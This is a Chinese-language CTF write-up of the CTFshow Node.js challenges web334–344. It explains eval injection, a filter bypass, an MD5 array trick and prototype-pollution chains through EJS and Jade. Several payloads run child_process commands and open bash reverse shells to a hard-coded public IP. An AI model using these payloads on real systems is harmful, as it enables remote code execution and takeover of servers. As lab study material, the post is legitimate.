CTFSHOW-nodejs
文章发布时间:
最后更新时间:
最后更新时间:
web334. 开始nodejs
题面一打开是一个登陆框,并且给了源码,进行一波代码审计
第一题分析的细致一些,主逻辑应该是在login.js当中,开头导入了一个user模块,其中包含一个items,其中是一个很像用户名和密码的对象{username: 'CTFSHOW', password: '123456'}
{:height 90, :width 543}
我们再看路由1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
///////////////
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};findUser函数检验name是否不等于
CTFSHOW
且password等于123456
,若成功则会返回登陆成功及flag实际上username是小写hhhh,那就直接登就完了
- web335. 开始nodejs RCE
题目提示在源代码中
eval可以推测应该是node版代码执行。
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function
child_process.exec()
:spawns a shell and runs a command within that shell, passing the stdout and stderr to a callback function when complete.
child_process.execSync()
:a synchronous version of child_process.exec() that will block the Node.js event loop
1
?eval=require('child_process').execSync('ls')
- web336. 开始nodejs
和刚才题面一致,试一下上一题的payload
回显tql
,说明存在过滤
一个细节是__filename
可回显源码所在路径名
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
然后利用fs
模块的readFileSync
即可读取文件内容Asynchronously reads the entire contents of a file.
源码如下1
2# __filename 回显 /app/routes/index.js
require('fs').readFileSync('/app/routes/index.js')可以看到过滤了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'});
}else{
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;exec
和load
可以通过字符串拼接的方式来绕过1
?eval=require('child_process')['exe'+'cSync']('ls')
- web337. 数组绕过
直接给了源码这题主要判断点在1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
思路也是跟PHP差不多的数组绕过
{:height 481, :width 448}
这里其实是有点区别,不过意思就是输出一个与元素本身值无关的信息出去就行,比如上面这种形式对象的输出就是会显示其属性的类型而不是值1
a[:]=1&b[:]=2
- web338. 原型链污染
题目给了源码我们可以看到,要想得到flag,需要让1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
// utils.copy()
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
// app.js
app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));secret.ctfshow
属性为36dboy,我们可控的是user的属性,其中唯一可以联系的就在这个copy函数当中,存在对象属性间的复制,这里就利用到了原型链污染漏洞
我们的目标就是污染secert
对象的ctfshow
属性1
{"__proto__": {"ctfshow": "36dboy"}}
- web339.
可以看到源码当中的变动新增了一个1
2
3if(secert.ctfshow===flag){
res.end(flag);
}api.js
这里的细节就是query没有被其他变量复制,且我们的copy还在运作,所以仍然可以污染到Object1
2
3
4
5router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
nodejs 没有require下引入模块顺便补一下bash1
global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ 0>&1 \"')
POC1
2
3
4
5
6
7bash -c 从字符串中读入命令
bash -i,意为创建一个交互式的bash shell
bash -i >& /dev/tcp/192.168.1.1/9090 0>&1
/dev/tcp/192.168.1.1/9090,这是一个特殊文件,它会建立一个连接到192.168.1.1:9090的socket
bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/192.168.1.1/9090的socket连接上,
0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,
因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互之后访问/api 使得Function执行1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"')"}}
- web340. 原型链污染 我们之前是直接复制到user当中,而修改后变成了
1
2
3
4
5
6
7
8
9
10var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);user.userinfo
由于isAdmin已经被写,但是之前的query依旧可被污染,需要注意的是,这道题当中对象之间多了一层关系,我们想要污染到Object,需要两层__proto__
POC
id:: 636142ba-9e3e-4edd-b6c1-a1dace2618581
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"')"}}}
- web341. 原型链污染
再次查看题面,可以看到不会再输出flag变量了同时1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});index.js
中也删去了对query的可利用函数
那么原型链污染的利用点在哪里呢,在app.js
中我们可以看到var ejs = require('ejs');
这个模版引擎存在原型链污染RCE
因为没有下载相关ejs库源代码,这里直接截一个sink点的图
{:height 353, :width 668}
这里可以看到,opts.outputFunctionName
成员属性在整个过程处于undefined的状态,在if条件句下会被拼接并在后续代码中执行。这里可以通过原型链污染漏洞进行属性污染,当然需要注意的是闭合前后两个拼接语句。结合本题,我们的污染执行点还是在1
outputFunctionName: a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
utils.copy(user.userinfo,req.body);
处
也就是进行两级原型链污染
payload1
2{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"'); var _tmp2"}}
} - web342-343. 审计了1个小时发现的,此链目前网上未公开,难度稍大
app.js
中可以看到换了一套模版引擎 jade
{:height 147, :width 638}
https://xz.aliyun.com/t/7025
原型链污染的触发点还是在index.js
的utils.copy(user.userinfo,req.body);
处
POC1
{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"'))"}}
- web344.
题面给了hint其中url中过滤了8c/2c/, 其中2c对应的就是,1
2
3
4
5
6
7
8
9
10
11
12
13
14router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
针对逗号的过滤可以用&
绕过
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
payload这里有个细节就是1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
c
需要url编码,因为GET传参后,其前面的字符"
经过编码会为%22
与c连接会触发黑名单